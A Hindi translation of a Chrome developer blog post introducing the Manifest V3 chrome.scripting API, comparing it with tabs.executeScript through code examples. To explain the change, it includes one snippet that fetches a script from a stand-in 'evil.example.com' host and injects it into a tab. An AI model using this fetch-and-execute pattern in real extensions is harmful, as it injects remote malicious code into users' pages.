पेश है chrome.scripting

मेनिफ़ेस्ट V3 में Chrome के एक्सटेंशन प्लैटफ़ॉर्म में कई बदलाव किए गए हैं. इस पोस्ट में, हम एक अहम बदलाव की वजह से होने वाली वजहों और बदलावों के बारे में जानेंगे: chrome.scripting एपीआई के बारे में जानकारी.

chrome.scripting क्या है?

जैसा कि नाम से पता चलता है, chrome.scripting एक नया नेमस्पेस है, जिसे मेनिफ़ेस्ट V3 में शामिल किया गया है. यह स्क्रिप्ट और स्टाइल इंजेक्शन की सुविधाओं के लिए ज़िम्मेदार है.

जिन डेवलपर ने पहले Chrome एक्सटेंशन बनाए हैं वे Tabs API पर मेनिफ़ेस्ट V2 के तरीकों के बारे में जानते होंगे. जैसे, chrome.tabs.executeScript और chrome.tabs.insertCSS. इन तरीकों से, एक्सटेंशन पेजों में स्क्रिप्ट और स्टाइलशीट को इंजेक्ट कर सकते हैं. मेनिफ़ेस्ट V3 में, ये सुविधाएं chrome.scripting में ट्रांसफ़र कर दी गई हैं. हम आने वाले समय में इस एपीआई को कुछ नई सुविधाओं के साथ बढ़ाने पर काम कर रहे हैं.

नया एपीआई क्यों बनाना चाहिए?

इस तरह के बदलाव के साथ, सबसे पहला सवाल यह आता है कि "क्यों?"

कुछ अलग चीज़ों की वजह से Chrome टीम ने स्क्रिप्टिंग के लिए एक नया नेमस्पेस शुरू करने का फ़ैसला लिया. पहली बात यह है कि Tabs एपीआई, सुविधाओं के लिए एक कबाड़ वाला पैनल है. दूसरा, हमें मौजूदा executeScript एपीआई में बदलाव करने थे. तीसरा, हमें पता था कि हमें एक्सटेंशन के लिए स्क्रिप्टिंग की सुविधाओं को बढ़ाना है. इन समस्याओं से साफ़ तौर पर पता चलता है कि स्क्रिप्टिंग की सुविधाओं को बेहतर बनाने के लिए, एक नए नेमस्पेस की ज़रूरत है.

कबाड़ का ड्रॉर

पिछले कुछ सालों से एक्सटेंशन टीम को एक समस्या का सामना करना पड़ रहा है. यह समस्या यह है कि chrome.tabs API का इस्तेमाल बहुत ज़्यादा किया जा रहा है. जब इस एपीआई को पहली बार पेश किया गया था, तब इसकी ज़्यादातर सुविधाएं, ब्राउज़र टैब के बड़े कॉन्सेप्ट से जुड़ी थीं. हालांकि, उस समय भी यहां बहुत सी सुविधाएं थीं और बाद में, यह कलेक्शन सिर्फ़ बड़ा ही बढ़ा है.

मेनिफ़ेस्ट V3 के रिलीज़ होने तक, Tabs API में टैब मैनेज करने, चुनी गई चीज़ों को मैनेज करने, विंडो को व्यवस्थित करने, मैसेज भेजने, ज़ूम कंट्रोल करने, बुनियादी नेविगेशन, स्क्रिप्टिंग, और कुछ अन्य छोटी सुविधाओं को शामिल किया गया था. हालांकि, ये सभी ज़रूरी हैं, लेकिन शुरुआत करते समय डेवलपर को थोड़ा मुश्किल हो सकता है. जब हम प्लैटफ़ॉर्म का रखरखाव करते हैं और डेवलपर कम्यूनिटी के अनुरोधों पर विचार करते हैं, तो Chrome टीम को परेशानी हो सकती है.

सवाल से जुड़ी दूसरी समस्या यह है कि tabs की अनुमति सही से समझ में नहीं आई है. हालांकि, कई अन्य अनुमतियां किसी एपीआई के ऐक्सेस को प्रतिबंधित करती हैं (जैसे कि storage), लेकिन यह अनुमति थोड़ी अनोखी है, क्योंकि यह सिर्फ़ Tab इंस्टेंस पर मौजूद संवेदनशील प्रॉपर्टी के लिए एक्सटेंशन को ऐक्सेस देती है. एक्सटेंशन से, Windows API पर भी असर पड़ता है. शायद, कई एक्सटेंशन डेवलपर को गलती से यह लगता है कि उन्हें Tabs एपीआई पर chrome.tabs.create या ज़्यादा जर्मन तरीके से chrome.tabs.executeScript जैसे तरीकों को ऐक्सेस करने के लिए इस अनुमति की ज़रूरत है. Tabs API से फ़ंक्शन को हटाने से, इस भ्रम को दूर करने में मदद मिलती है.

नुकसान पहुंचा सकने वाले बदलाव

मेनिफ़ेस्ट V3 को डिज़ाइन करते समय, हमने "रिमोट तरीके से होस्ट किए गए कोड" की मदद से होने वाले गलत इस्तेमाल और मैलवेयर को रोकने की कोशिश की है. यह ऐसा कोड होता है जो एक्सटेंशन पैकेज में शामिल नहीं होता, लेकिन उसे चलाया जाता है. एक्सटेंशन का गलत इस्तेमाल करने वाले लेखक, रिमोट सर्वर से फ़ेच की गई स्क्रिप्ट को एक्ज़ीक्यूट करना आम बात है. ऐसा करके, वे उपयोगकर्ता का डेटा चुरा सकते हैं, मैलवेयर इंजेक्ट कर सकते हैं, और मैलवेयर का पता लगाने से बच सकते हैं. अच्छे कलाकार भी इस सुविधा का इस्तेमाल करते हैं. हालांकि, हमें लगा कि इसे इस तरह से जारी रखना बहुत खतरनाक है.

एक्सटेंशन, बंडल नहीं किए गए कोड को कई तरीकों से एक्ज़ीक्यूट कर सकते हैं. हालांकि, सबसे कारगर तरीका यहां मेनिफ़ेस्ट V2 chrome.tabs.executeScript तरीका दिया गया है. इस तरीके से, एक्सटेंशन को टारगेट टैब में कोड की आर्बिट्रेरी स्ट्रिंग इस्तेमाल करने की अनुमति मिलती है. इसका मतलब यह है कि नुकसान पहुंचाने वाला डेवलपर किसी रिमोट सर्वर से आर्बिट्रेरी स्क्रिप्ट फ़ेच कर सकता है और उसे ऐसे किसी भी पेज पर लागू कर सकता है जिसे एक्सटेंशन ऐक्सेस कर सकता है. हम जानते थे कि अगर हम रिमोट कोड की समस्या को हल करना चाहते हैं, तो हमें इस सुविधा को छोड़ना पड़ेगा.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

हम मेनिफ़ेस्ट V2 वर्शन के डिज़ाइन से जुड़ी कुछ दूसरी छोटी-मोटी समस्याओं को भी ठीक करना चाहते हैं. साथ ही, हम इस एपीआई को बेहतर बनाने और अनुमान लगाने वाला टूल बनाना चाहते हैं.

हम Tabs API में इस तरीके के हस्ताक्षर को बदल सकते थे. हालांकि, हमें लगा कि इन बदलावों और नई सुविधाओं (जिनके बारे में अगले सेक्शन में बताया गया है) के बीच, एक नया तरीका शुरू करना सभी के लिए आसान होगा.

स्क्रिप्टिंग की सुविधाओं को बढ़ाया जा रहा है

मेनिफ़ेस्ट V3 के डिज़ाइन प्रोसेस में एक और अहम बात यह थी कि Chrome के एक्सटेंशन प्लैटफ़ॉर्म में, स्क्रिप्टिंग की अतिरिक्त सुविधाएं शामिल की जाएं. खास तौर पर, हम डाइनैमिक कॉन्टेंट स्क्रिप्ट के लिए सहायता जोड़ना चाहते हैं और executeScript तरीके की सुविधाओं को बढ़ाना चाहते हैं.

Chromium में डाइनैमिक कॉन्टेंट स्क्रिप्ट के साथ काम करने की सुविधा का अनुरोध लंबे समय से किया जा रहा था. फ़िलहाल, मेनिफ़ेस्ट V2 और V3 वाले Chrome एक्सटेंशन, अपनी manifest.json फ़ाइल में कॉन्टेंट स्क्रिप्ट का एलान सिर्फ़ स्टैटिक तौर पर कर सकते हैं. प्लैटफ़ॉर्म, नई कॉन्टेंट स्क्रिप्ट रजिस्टर करने, कॉन्टेंट स्क्रिप्ट के रजिस्ट्रेशन में बदलाव करने या रनटाइम के दौरान कॉन्टेंट स्क्रिप्ट को अनरजिस्टर करने का कोई तरीका उपलब्ध नहीं कराता.

हम जानते थे कि हम मेनिफ़ेस्ट V3 में इस सुविधा के अनुरोध को पूरा करना चाहते हैं. हालांकि, हमारा कोई भी मौजूदा एपीआई सही होम सिस्टम जैसा नहीं लगा था. हमने Firefox के Content Scripts API के साथ भी काम करने पर विचार किया था. हालांकि, हमें शुरुआत में ही इस तरीके की कुछ बड़ी कमियां पता चल गई थीं. हमें पता था कि ऐसे हस्ताक्षर होंगे जो काम नहीं करेंगे. उदाहरण के लिए, code प्रॉपर्टी को इस्तेमाल करना बंद किया जा सकता है. दूसरा, हमारे एपीआई के डिज़ाइन में कुछ अलग तरह की पाबंदियां थीं. उदाहरण के लिए, सेवा वर्कर के लाइफ़टाइम के बाद भी बने रहने के लिए, रजिस्ट्रेशन की ज़रूरत होती है. आखिर में, यह नेमस्पेस हमें कॉन्टेंट स्क्रिप्ट के काम करने के तरीके में भी मदद करेगा, जहां हम एक्सटेंशन में बड़े पैमाने पर स्क्रिप्ट बनाने के बारे में सोच रहे हैं.

executeScript के सामने, हम यह भी बताना चाहते थे कि यह एपीआई, Tabs API वर्शन के साथ काम करने के अलावा और क्या-क्या कर सकता है. खास तौर पर, हम फ़ंक्शन और आर्ग्युमेंट के साथ काम करना चाहते थे, ताकि चुनिंदा फ़्रेम को आसानी से टारगेट किया जा सके और "टैब" के अलावा अन्य कॉन्टेक्स्ट को टारगेट किया जा सके.

आने वाले समय में, हम इस बात पर भी विचार करेंगे कि एक्सटेंशन, इंस्टॉल किए गए पीडब्ल्यूए और ऐसे अन्य कॉन्टेक्स्ट के साथ कैसे इंटरैक्ट कर सकते हैं जो सैद्धांतिक तौर पर "टैब" में मैप नहीं होते.

tabs.executeScript और scripting.executeScript के बीच बदलाव

हमें इस पोस्ट के बाकी हिस्से में, chrome.tabs.executeScript और chrome.scripting.executeScript के बीच समानताओं और अंतर के बारे में बारीकी से जानना है.

आर्ग्युमेंट के साथ फ़ंक्शन इंजेक्ट करना

हमने यह तय करने की कोशिश की है कि रिमोट तौर पर होस्ट किए गए कोड से जुड़ी पाबंदियों के हिसाब से, प्लैटफ़ॉर्म को कैसे बेहतर बनाया जा सकता है. साथ ही, हमने कोड को मनमुताबिक चलाने की सुविधा और सिर्फ़ स्टैटिक कॉन्टेंट स्क्रिप्ट को अनुमति देने के बीच संतुलन बनाने की कोशिश की है. हमने इस समस्या को हल करने के लिए, एक्सटेंशन को कॉन्टेंट स्क्रिप्ट के तौर पर फ़ंक्शन इंजेक्ट करने की अनुमति दी है. साथ ही, आर्ग्युमेंट के तौर पर वैल्यू का कलेक्शन पास करने की सुविधा भी दी है.

आइए, (ओवरसिंप्लिफ़ाइड) उदाहरण पर नज़र डालें. मान लें कि हम एक ऐसी स्क्रिप्ट इंजेक्ट करना चाहते थे जो उपयोगकर्ता द्वारा एक्सटेंशन के ऐक्शन बटन (टूलबार में दिया गया आइकन ) पर क्लिक करने पर उपयोगकर्ता का नाम से अभिवादन करे. मेनिफ़ेस्ट V2 में, हम डाइनैमिक तरीके से एक कोड स्ट्रिंग बना सकते हैं और उस स्क्रिप्ट को मौजूदा पेज पर एक्ज़ीक्यूट कर सकते हैं.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

मेनिफ़ेस्ट V3 एक्सटेंशन ऐसे कोड का इस्तेमाल नहीं कर सकता जिसे एक्सटेंशन के साथ बंडल नहीं किया गया है. हमारा लक्ष्य कुछ ऐसे डाइनैमिक को सुरक्षित रखना था जो मेनिफ़ेस्ट V2 एक्सटेंशन के लिए आर्बिट्रेरी कोड ब्लॉक की सुविधा को चालू करते हैं. फ़ंक्शन और आर्ग्युमेंट के तरीके से, Chrome वेब स्टोर के समीक्षकों, उपयोगकर्ताओं, और दिलचस्पी रखने वाले अन्य पक्षों के लिए, किसी एक्सटेंशन से जुड़े जोखिमों का सटीक आकलन करना आसान हो जाता है. साथ ही, डेवलपर को उपयोगकर्ता की सेटिंग या ऐप्लिकेशन की स्थिति के आधार पर, एक्सटेंशन के रनटाइम व्यवहार में बदलाव करने की अनुमति भी मिलती है.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

फ़्रेम टारगेट करना

हम यह भी चाहते थे कि डेवलपर, बदले गए एपीआई में फ़्रेम के साथ बेहतर तरीके से इंटरैक्ट कर पाएं. executeScript के मेनिफ़ेस्ट V2 वर्शन की मदद से, डेवलपर किसी टैब के सभी फ़्रेम या टैब के किसी खास फ़्रेम को टारगेट कर सकते हैं. किसी टैब में मौजूद सभी फ़्रेम की सूची पाने के लिए, chrome.webNavigation.getAllFrames का इस्तेमाल किया जा सकता है.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

मेनिफ़ेस्ट V3 में, हमने विकल्प ऑब्जेक्ट में मौजूद ज़रूरी नहीं frameId इंटिजर प्रॉपर्टी को, ज़रूरी नहीं frameIds इंटिजर के कलेक्शन से बदल दिया है. इससे डेवलपर, एक ही एपीआई कॉल में कई फ़्रेम को टारगेट कर सकते हैं.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

स्क्रिप्ट इंजेक्शन के नतीजे

हमने मेनिफ़ेस्ट V3 में, स्क्रिप्ट इंजेक्शन के नतीजे दिखाने के तरीके को भी बेहतर बनाया है. "नतीजा", स्क्रिप्ट में आखिरी स्टेटमेंट का आकलन होता है. इसे eval() को कॉल करने या Chrome DevTools कंसोल में कोड के ब्लॉक को एक्ज़ीक्यूट करने पर, दिखाई गई वैल्यू की तरह समझें. इसे अलग-अलग प्रोसेस के नतीजों में भेजने के लिए, क्रम से लगाया जाता है.

मेनिफ़ेस्ट V2 में, executeScript और insertCSS, सामान्य तरीके से लागू किए गए फ़ंक्शन के नतीजों का ऐरे दिखाएंगे. अगर आपके पास सिर्फ़ एक इंजेक्शन पॉइंट है, तो यह ठीक है. हालांकि, एक से ज़्यादा फ़्रेम में इंजेक्शन करते समय, नतीजे के क्रम की कोई गारंटी नहीं होती. इसलिए, यह पता नहीं लगाया जा सकता कि कौनसा नतीजा किस फ़्रेम से जुड़ा है.

अच्छे उदाहरण के लिए, आइए एक ही एक्सटेंशन के मेनिफ़ेस्ट V2 और मेनिफ़ेस्ट V3 वर्शन से मिले results कलेक्शन पर नज़र डालते हैं. एक्सटेंशन के दोनों वर्शन एक ही कॉन्टेंट स्क्रिप्ट इंजेक्ट करेंगे और हम एक ही डेमो पेज के नतीजों की तुलना करेंगे.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

मेनिफ़ेस्ट V2 वर्शन को चलाने पर, हमें [1, 0, 5] का एक कलेक्शन मिलता है. कौनसा नतीजा मुख्य फ़्रेम से जुड़ा है और कौनसा iframe से? हमें रिटर्न वैल्यू की जानकारी नहीं मिलती है, इसलिए हमें पक्के तौर पर नहीं पता है.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

मेनिफ़ेस्ट के V3 वर्शन में, results में अब सिर्फ़ आकलन के नतीजों के अरे के बजाय, नतीजों के ऑब्जेक्ट का अरे होता है. साथ ही, नतीजों के ऑब्जेक्ट में हर नतीजे के लिए फ़्रेम के आईडी की साफ़ तौर पर पहचान की जाती है. इससे डेवलपर के लिए, नतीजे का इस्तेमाल करना और किसी खास फ़्रेम पर कार्रवाई करना बहुत आसान हो जाता है.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

आखिर में खास जानकारी

मेनिफ़ेस्ट वर्शन में होने वाली बढ़ोतरी की वजह से, एक्सटेंशन एपीआई के बारे में फिर से विचार करने और उन्हें आधुनिक बनाने का मौका मिलता है. मेनिफ़ेस्ट के तीसरे वर्शन का मकसद, डेवलपर के अनुभव को बेहतर बनाते हुए एक्सटेंशन को ज़्यादा सुरक्षित बनाना है. इससे असली उपयोगकर्ताओं को भी बेहतर अनुभव मिलेगा. मेनिफ़ेस्ट V3 में chrome.scripting को शामिल करके, हमने Tabs API को बेहतर बनाने, ज़्यादा सुरक्षित एक्सटेंशन प्लैटफ़ॉर्म के लिए executeScript को नए तरीके से पेश करने, और स्क्रिप्टिंग की नई सुविधाओं के लिए बुनियादी काम करने में मदद की. ये सुविधाएं इस साल के आखिर में उपलब्ध होंगी.